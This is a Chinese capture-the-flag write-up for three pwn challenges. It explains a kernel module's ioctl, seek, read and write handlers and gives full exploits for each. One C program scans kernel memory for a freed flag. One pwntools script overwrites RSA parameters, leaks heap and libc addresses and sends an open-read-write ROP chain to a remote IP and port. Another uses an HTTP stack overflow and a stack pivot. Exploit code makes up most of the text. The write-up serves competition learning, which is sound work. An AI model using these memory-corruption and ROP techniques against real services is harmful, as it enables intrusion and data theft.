CSICN-2026-初赛pwn-writeup
前言
这里就只放pwn的解了,其余的解会放在我们学校战队的平台上,大家有想看的可以去看一下捏。链接放在这里了:CISCN&CCB-2025初赛-writeup
期望半决赛的时候自己不要再像现在这么菜了........
ram_snoop(赛后解出)
程序给了一个babydev.ko文件和eatFlag文件,一般来说babydev.ko文件就是存在漏洞的模块,查看init文件,发现将/proc/kallsyms拷贝到/tmp/coresysms.txt中,而且执行了/home/eatFlag文件
dev_ioctl
结合模拟之后的环境没有flag,但是解压缩文件系统之后是存在flag的,猜测是这个/home/eatFlag程序给flag删除了,这里先不管,先去逆向babydev.ko文件中的dev_ioctl函数:
程序主要有五个分支来处理用户不同的请求
0x83170401:返回当前进程的PID
0x83170402:获取当前进程名(
comm)0x83170403:获取当前缓冲区剩余空间
0x83170404:获取当前缓冲区有效长度
0x83170405:获取
global_buf内核地址(用于KASLR 绕过)
__int64 __fastcall dev_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
const char *v4; // rax
const void *src; // r12
size_t v7; // rax
_QWORD dest[2]; // [rsp+0h] [rbp-40h] BYREF
__int64 v9; // [rsp+10h] [rbp-30h]
__int64 v10; // [rsp+18h] [rbp-28h]
__int64 global_buf_stack; // [rsp+20h] [rbp-20h]
unsigned __int64 v12; // [rsp+28h] [rbp-18h]
v12 = __readgsqword(0x28u);
dest[0] = 0;
v4 = *(const char **)(a1 + 200);
dest[1] = 0;
v9 = 0;
v10 = 0;
global_buf_stack = 0;
if ( a2 == 0x83170403 )
{
HIDWORD(v9) = 0x10000 - *(_DWORD *)(global_buf + 0x10008);
return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
}
if ( a2 <= 0x83170403 )
{
if ( a2 == 0x83170401 )
{
LODWORD(dest[0]) = *(_DWORD *)v4;
return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
}
if ( a2 == 0x83170402 )
{
src = v4 + 4;
v7 = strlen(v4 + 4);
memcpy((char *)dest + 4, src, v7 + 1);
return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
}
}
else
{
if ( a2 == 0x83170404 )
{
LODWORD(v10) = *(_QWORD *)(global_buf + 65544) - *(_DWORD *)(global_buf + 0x10000);
return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
}
if ( a2 == 0x83170405 )
{
global_buf_stack = global_buf;
return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
}
}
return -22;
}dev_seek
现的是字符设备的 seek(定位)操作,也就是用户态调用:lseek(fd, offset, SEEK_SET / SEEK_CUR / SEEK_END);
他根据 whence(n2)决定新的文件指针:SEEK_SET (0):从头开始,SEEK_CUR (1):从当前偏移开始,SEEK_END (2):从文件末尾开始,最终实现计算当前“文件大小”:
__int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2)
{
__int64 v3; // rax
__int64 result; // rax
__int64 v5; // r8
v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000);
if ( n2 == 1 )
{
v5 = *(_QWORD *)(a1 + 0x40) + a2;
if ( v5 < 0 )
return -22;
}
else
{
if ( n2 != 2 )
{
if ( !n2 && a2 >= 0 && v3 >= a2 )
{
v5 = a2;
goto LABEL_7;
}
return -22;
}
v5 = v3 + a2;
if ( v3 + a2 < 0 )
return -22;
}
if ( v3 < v5 )
return -22;
LABEL_7:
*(_QWORD *)(a1 + 0x40) = v5;
result = v5;
*(_QWORD *)(a1 + 0xB8) = 0;
return result;
}dev_read
实现的是标准的 read() 行为:将数据从内核缓冲区拷贝到用户态:
__int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
__int64 v6; // rcx
__int64 v7; // r8
__int64 v8; // rdx
__int64 v9; // rax
v6 = *a4;
v7 = 0;
v8 = *(_QWORD *)(global_buf + 0x10000);
v9 = *(_QWORD *)(global_buf + 65544) - v8;
if ( v6 < v9 )
{
if ( v6 + n0x7FFFFFFF > v9 )
n0x7FFFFFFF = v9 - v6;
if ( n0x7FFFFFFF > 0x7FFFFFFF )
BUG();
if ( copy_to_user(a2, (_QWORD *)(v6 + v8 + global_buf), n0x7FFFFFFF) )
{
return -14;
}
else
{
*a4 += n0x7FFFFFFF;
return n0x7FFFFFFF;
}
}
return v7;
}dev_write
实现向一块 64KB 缓冲区写数据。这里的缓冲区位置有用户设置,但是注意到这里能够实现对global_buf + 0x10008)这里存储的数值的增大,最终相当于实现了global_buf大小虚拟扩大
unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
__int64 v4; // rax
unsigned __int64 n0x7FFFFFFF_1; // rbx
__int64 global_buf; // rax
v4 = *a4;
n0x7FFFFFFF_1 = n0x7FFFFFFF;
if ( *a4 > 0xFFFF && v4 >= *(_QWORD *)(global_buf + 65544) )
return -105;
if ( v4 + n0x7FFFFFFF > 0x10000 )
{
n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4;
}
else if ( n0x7FFFFFFF > 0x7FFFFFFF )
{
BUG();
}
if ( copy_from_user(v4 + *(_QWORD *)(global_buf + 0x10000) + global_buf, a2, n0x7FFFFFFF_1) )
return -14;
global_buf = global_buf;
*a4 += n0x7FFFFFFF_1;
*(_QWORD *)(global_buf + 65544) += n0x7FFFFFFF_1;
return n0x7FFFFFFF_1;
}eatFlag
逆向eatFlag文件得到这个程序会将/flag文件内容读取到自己的堆内存中,之后删除flag文件:
解题思路
由于一开始 eatFlag 把 /flag 读入过内存,那么在一段时间内,flag 的字节就一定真实存在于某些物理内存页中,结合上面的dev_write能扩大这里的global_buf的空间,所以我们直接爆搜内存去找flag就好,注意这里大概率不存在,得多试几次
脚本如下:
// gcc exploit.c -static -masm=intel -g -o exploit
//#include "kpwn.h"
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <ctype.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_success(fmt, ...) \
printf("\033[32m\033[1m[+] " fmt "\033[0m\n", ##__VA_ARGS__)
#define log_info(fmt, ...) \
printf("\033[34m\033[1m[*] " fmt "\033[0m\n", ##__VA_ARGS__)
#define log_error(fmt, ...) \
printf("\033[31m\033[1m[x] " fmt "\033[0m\n", ##__VA_ARGS__)
struct out {
uint64_t dest[5];
};
unsigned char *findflag(unsigned char *buf, size_t len) {
char flag_pattern[] = "flag{";
unsigned char *addr = memmem(buf, len, flag_pattern, 5);
if (addr) {
for (size_t j = 0; j < 64 && (addr - buf + j) < len; j++) {
if (addr[j] == '}') return addr;
}
}
return NULL;
}
int main() {
save_status();
int fd = open("/dev/noc", O_RDWR);
if (fd < 0) {
log_error("open /dev/noc failed");
return -1;
};
struct out buffer;
memset(&buffer, 0, sizeof(buffer));
ioctl(fd, 0x83170401, &buffer);
log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]);
memset(&buffer, 0, sizeof(buffer));
ioctl(fd, 0x83170402, &buffer);
log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4);
memset(&buffer, 0, sizeof(buffer));
ioctl(fd, 0x83170403, &buffer);
log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32));
memset(&buffer, 0, sizeof(buffer));
ioctl(fd, 0x83170404, &buffer);
log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]);
memset(&buffer, 0, sizeof(buffer));
ioctl(fd, 0x83170405, &buffer);
log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]);
char pl[0x10000];
for (int i = 0; i < 2000; i++) {
lseek(fd, 0, SEEK_SET);
if (write(fd, pl, 0x10000) < 0)
{
log_error("write failed");
break;
}
}
memset(&buffer, 0, sizeof(buffer));
ioctl(fd, 0x83170404, &buffer);
log_info("the new length of global_buf is : %lx", (uint32_t)(buffer.dest[3]));
uint32_t new_length = (uint32_t)buffer.dest[3];
memset(&buffer, 0, sizeof(buffer));
ioctl(fd, 0x83170403, &buffer);
log_info("the remaining size of global_buf is : %lx", (uint32_t)(buffer.dest[2]>>32));
uint32_t remaing_size = (uint32_t)(buffer.dest[2]>>32);
char buf[4096];
memset(buf, '\x00', 4096);
size_t step = 4096;
// 开始爆搜
for(size_t offset = 0;offset<new_length;offset+=step){
lseek(fd, offset, SEEK_SET);
ssize_t n = read(fd, buf, step);
if (n <= 0)
{
log_error("read failed");
break;
}
// print_binary(buf, step);
char *flag_ptr = findflag((unsigned char *)buf, step);
if(flag_ptr)
{
print_binary(buf,step);
log_success("Flag found: %s", flag_ptr);
break;
}
}
return 0;
}easy_rw
程序给了两个文件,一个是proxy,一个是server,其中proxy有upx壳,直接给re手,工具梭哈脱壳就好
稍微逆向一下可以知道这个程序是在做这个代理转发的操作,但是有一个挑战cookie的验证要做,所以我们需要做的操作就是如何得到这个cookie
考虑到每次都是从config文件中部读取n和d,所以我们利用这里的溢出来覆盖n和d为我们的已知值,这里我设置的是0xffffffffffffffff和1
之后就可以通过RSA的挑战验证,接受到cookie
之后逆向得到add/dele/show/edit的交互逻辑,使用堆块来泄露堆地址和libc,最后利用这个栈溢出打orw就好
from pwn import *
from pwn_std import *
# p=getProcess("127.0.0.1",8888,'./server')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./server")
libc=ELF("libc-2.31.so")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
gdb -ex set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/ ./pwn
gdb -ex "add-symbol-file /home/alpha/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/lib/x86_64-linux-gnu/libc-2.27.so" ./pwn
'''
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu9.9_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
b do_lookup_x
b exit
b *_IO_wdoallocbuf
b *_IO_flush_all_lockp
b *_IO_wfile_overflow
"""
ip='8.147.130.99'
port=26705
def send_pkt(io,header, payload=b""):
assert isinstance(payload, (bytes, bytearray))
io.send(p32(header, endian='big'))
io.send(p32(len(payload), endian='big'))
if payload:
io.send(payload)
def recv_some(io, n=0x1000):
return io.recv(n, timeout=2)
def set_config(io, padding,n_hex, d_hex):
payload = padding+f"n={n_hex}&d={d_hex}".encode()
log.info(f"[*] set_config payload: {payload!r}")
send_pkt(io, 0x85856547, payload)
resp = recv_some(io)
log.info(f"[*] set_config resp: {resp!r}")
return resp
def fnv1a64(data: bytes) -> int:
h = 0x14650FB0739D0383
for b in data:
h = (h ^ b) * 0x100000001B3
h &= 0xFFFFFFFFFFFFFFFF
h &= ~(0xFF << (2 * 8))
return h
def auth_get_cookie(io):
hack_hash = fnv1a64(b"hack")
log.info(f"[*] hash('hack') = {hack_hash:#x}")
payload = p64(hack_hash, endian='big')
send_pkt(io, 0xFFFF2525, payload)
resp = io.recv(0x1000, timeout=2)
log.info(f"[*] auth resp len={len(resp)} data={resp!r}")
if resp and len(resp) >= 32 and resp[:9] != b"AUTH_FAIL":
cookie = resp[:32]
log.success(f"[+] cookie = {cookie.hex()}")
return cookie
log.failure("[-] AUTH failed (got AUTH_FAIL or empty)")
return None
def forward(io, cookie: bytes, data: bytes):
assert cookie and len(cookie) == 32
payload = cookie + data
send_pkt(io, 0x7F687985, payload)
# resp = io.recv(0x1000, timeout=2)
# log.info(f"[*] forward resp: {resp!r}")
# return resp
# p=remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
set_config(p,b'a'*0x100,"ffffffffffffffff", "1\x00")
p.close()
# 2) 新开一个连接:在同一连接上完成 AUTH + FORWARD
p=remote(ip,port)
cookie = auth_get_cookie(p)
print('cookie=',cookie)
def add(size, content):
"""
rtsp://uH@*/{"command":"add","param1":"size","param2":"content","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"add",'
f'"param1":"{size}",'
f'"param2":"{content}",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def dele(index):
"""
rtsp://uH@*/{"command":"delete","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"delete",'
f'"param1":"{index}",'
f'"param2":"",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def edit(index, new_content):
"""
rtsp://uH@*/{"command":"edit","param1":"index","param2":"new_content","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"edit",'
f'"param1":"{index}",'
f'"param2":"'+new_content+f'",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.close()
return cmd.encode()
def showhb(index):
"""
rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"show",'
f'"param1":"{index}",'
f'"param2":"",'
f'"param3":""'
f'}}\n'
)
# p = remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.recvuntil('Content: 144:')
hb=u64(p.recv(6).ljust(8,b'\x00'))
p.close()
return hb
def showlb(index):
"""
rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
"""
cmd = (
f'rtsp://uH@*/{{'
f'"command":"show",'
f'"param1":"{index}",'
f'"param2":"",'
f'"param3":""'
f'}}\n'
)
p=remote(ip,port)
# p=remote("101.200.167.131",39003)
forward(p, cookie, cmd.encode())
p.recvuntil('Content: 248:')
hb=u64(p.recv(6).ljust(8,b'\x00'))
p.close()
return hb
add(0x90,'./flag')
sleep(0.5)
add(0x90,'a')
sleep(0.5)
dele(0)
sleep(0.5)
dele(1)
sleep(0.5)
add(0x90,'a')#2
hb=showhb(2)-(0x555555561661-0x555555561000)
print("heapbase=",hex(hb))
##构造堆块重叠##
for i in range(11):
sleep(0.5)
add(0xf0,'a')#3-13
for i in range(11):
sleep(0.5)
dele(i+2)
for i in range(7):
sleep(0.5)
add(0xf8,'/flag')#14-20
sleep(0.5)
add(0xf8,'a')
lb=showlb(21)-(0x7ffff7bfaf61-0x7ffff7a0e000)-(0x7ffff7a0df00-0x7ffff7a0e000)
print("libc_base=",hex(lb))
pause()
##触发栈溢出
# b *$rebase(0x0000000000001C36)
# b *$rebase(0x1BA7)
p=remote(ip,port)
binsh=lb+next(libc.search(b'/bin/sh\0'))
system=lb+libc.sym["system"]
rdi=lb+0x0000000000023b6a
rsi=lb+0x000000000002601f
rdx_r12=0x0000000000119431+lb
rax=lb+0x0000000000036174
pl=b'rdsp://uH@*/'+b'a'*(32-12)+p64(0)+p64(rdi)+p64(hb+0x7f0)+p64(rsi)+p64(0)+p64(rdx_r12)+p64(0)*2
pl+=p64(rax)+p64(2)+p64(lb+libc.sym["read"]+16)
pl+=p64(rdi)+p64(5)+p64(rsi)+p64(hb)+p64(rdx_r12)+p64(0x40)*2+p64(libc.sym["read"]+lb)
pl+=p64(rdi)+p64(4)+p64(lb+libc.sym["write"])
pl+=b'\r\n'
# pl=b'rdsp://uH@*/'
# pl+=b'\r\n'
forward(p, cookie, pl)
cont=p.recv(0x1000)
print("content=",cont)
minihttpd
Web_pwn,逆向一下,程序开了沙箱,禁用execve和execveat
有一个函数open_file很重要:控制好参数之后,这个可以实现打开文件并发送给用户
这个函数中存在溢出:

利用溢出,构造rop来将flag文件打开来发送给用户就好,我们先栈溢出一次利用recv写入/flag字符串和后续rop链,之后利用recv后面leave ret跳栈,控制执行流到我们刚刚写入的rop链子上,也就是我们的open_file函数上,注意,由于程序中会调用snprintf,为了防止这个函数不断抬栈到一个不可写的地址,我们需要设置rbp尽可能地低。vmmap发现heap紧挨着程序地地址,所以相当于我们知道heap地址,直接将rbp覆盖为heap地址就好。脚本如下:
from pwn import *
from pwn_std import *
p=getProcess("127.0.0.1",9999,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
rsi=0x0000000000402ff1
openfile=0x0000000000402663
rdi=0x0000000000402ff3
pop_rbp=0x000000000040169d
ret=0x00000000004027D1
bss=0x427000
pl1=b'setmode='+b'a'*0x440+p64(bss)
pl1+=p64(ret)+p64(rdi)+p64(4)+p64(rsi)+p64(bss)+p64(0)+p64(0x0000000000401CF0)
route='/setmode'
content_length=len(pl1)
payload1=f'''POST {route} HTTP/1.0\r
Content-Length: {content_length}\r
'''
payload1=payload1.encode()
payload1+=pl1
payload1+=b'/flag\0\0\0'+p64(rsi)+p64(bss)+p64(0)+p64(rdi)+p64(4)+p64(openfile)
sd(payload1)
ita()